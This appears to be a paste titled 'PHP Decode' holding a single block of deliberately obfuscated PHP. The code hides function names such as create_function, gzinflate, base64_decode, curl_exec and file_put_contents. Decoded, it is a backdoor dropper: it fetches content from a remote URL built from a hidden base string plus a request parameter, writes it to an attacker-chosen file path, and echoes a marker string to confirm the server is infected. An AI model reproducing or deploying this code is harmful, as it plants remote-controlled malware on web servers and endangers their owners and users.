PHP Decode

<?php
$O__O0O0_0O="f-y2qlu7jgk0tnx8dob41a56ewmr9hz_ci3spv";$O0_OOO0_0_=$O__O0O0_0O{0}.$O__O0O0_0O{33}.$O__O0O0_0O{5}.$O__O0O0_0O{24}.$O__O0O0_0O{31}.$O__O0O0_0O{36}.$O__O0O0_0O{6}.$O__O0O0_0O{12}.$O__O0O0_0O{31}.$O__O0O0_0O{32}.$O__O0O0_0O{17}.$O__O0O0_0O{13}.$O__O0O0_0O{12}.$O__O0O0_0O{24}.$O__O0O0_0O{13}.$O__O0O0_0O{12}.$O__O0O0_0O{35};$O00O__O_O0=$O__O0O0_0O{32}.$O__O0O0_0O{27}.$O__O0O0_0O{24}.$O__O0O0_0O{21}.$O__O0O0_0O{12}.$O__O0O0_0O{24}.$O__O0O0_0O{31}.$O__O0O0_0O{0}.$O__O0O0_0O{6}.$O__O0O0_0O{13}.$O__O0O0_0O{32}.$O__O0O0_0O{12}.$O__O0O0_0O{33}.$O__O0O0_0O{17}.$O__O0O0_0O{13};$OOO0O_00__=$O__O0O0_0O{18}.$O__O0O0_0O{21}.$O__O0O0_0O{35}.$O__O0O0_0O{24}.$O__O0O0_0O{23}.$O__O0O0_0O{19}.$O__O0O0_0O{31}.$O__O0O0_0O{16}.$O__O0O0_0O{24}.$O__O0O0_0O{32}.$O__O0O0_0O{17}.$O__O0O0_0O{16}.$O__O0O0_0O{24};$OO_O00_0O_=$O__O0O0_0O{32}.$O__O0O0_0O{6}.$O__O0O0_0O{27}.$O__O0O0_0O{5}.$O__O0O0_0O{31}.$O__O0O0_0O{35}.$O__O0O0_0O{24}.$O__O0O0_0O{12}.$O__O0O0_0O{17}.$O__O0O0_0O{36}.$O__O0O0_0O{12};$O0__0OO0_O=$O__O0O0_0O{9}.$O__O0O0_0O{30}.$O__O0O0_0O{33}.$O__O0O0_0O{13}.$O__O0O0_0O{0}.$O__O0O0_0O{5}.$O__O0O0_0O{21}.$O__O0O0_0O{12}.$O__O0O0_0O{24};$OOO_00O__0=$O__O0O0_0O{32}.$O__O0O0_0O{6}.$O__O0O0_0O{27}.$O__O0O0_0O{5}.$O__O0O0_0O{31}.$O__O0O0_0O{33}.$O__O0O0_0O{13}.$O__O0O0_0O{33}.$O__O0O0_0O{12};$O000_OO_O_=$O__O0O0_0O{32}.$O__O0O0_0O{6}.$O__O0O0_0O{27}.$O__O0O0_0O{5}.$O__O0O0_0O{31}.$O__O0O0_0O{24}.$O__O0O0_0O{14}.$O__O0O0_0O{24}.$O__O0O0_0O{32};$O0__OO00O_=$O__O0O0_0O{35}.$O__O0O0_0O{12}.$O__O0O0_0O{27}.$O__O0O0_0O{5}.$O__O0O0_0O{24}.$O__O0O0_0O{13};$O0O_O__0O0=$O__O0O0_0O{12}.$O__O0O0_0O{27}.$O__O0O0_0O{33}.$O__O0O0_0O{26};$O_0OO00O__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30"]('$bnbed','$O__0_0OOO0=substr($bnbed,0,5);$OO_OO_00_0=substr($bnbed,-5);$O0_O__00OO=substr($bnbed,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x4f\x30\x30\x4f\x5f"]($bnbed)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x30\x4f\x4f\x30\x5f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x4f\x5f\x30\x30\x5f\x5f"]($O__0_0OOO0.$O0_O__00OO.$OO_OO_00_0));');$O__0OO0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30"]('$OO_O_0O00_=\'\'','$OO0OO0___0=isset($_REQUEST["\x6c\x6b\x31\x32\x33\x6e\x73\x64\x61"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x4f\x30"]($_REQUEST["\x6c\x6b\x31\x32\x33\x6e\x73\x64\x61"]):\'\';$O_0O_OO0_0=isset($_REQUEST["\x69\x66\x6a\x73\x77\x71\x73\x61"])?${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x5f\x30\x4f\x30"]($_REQUEST["\x69\x66\x6a\x73\x77\x71\x73\x61"]):\'\';$OO_O000O__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x30\x4f\x5f\x5f"](\'yygpKhTbDS189LLa9KTcxJzEspyM/JTK7UK0/MS9ctPHAA==\');$O__00OO_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x4f\x5f\x5f\x30"]($OO_O000O__.$OO0OO0___0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x4f\x5f"]($O__00OO_0O,CURLOPT_RETURNTRANSFER,1);$OO_0__00OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x5f\x4f\x5f"]($O__00OO_0O);if($O_0O_OO0_0!=\'\'){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x4f\x30\x5f\x30\x5f"]($O_0O_OO0_0,$OO_0__00OO);}if(isset(${"\x5f\x47\x45\x54"}["\x6c\x6f\x6f\x6b\x6c\x6f\x6f\x6b\x75"])){echo \'okbbcbba\';}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x4f\x30\x5f\x30\x4f"]();//scp-173?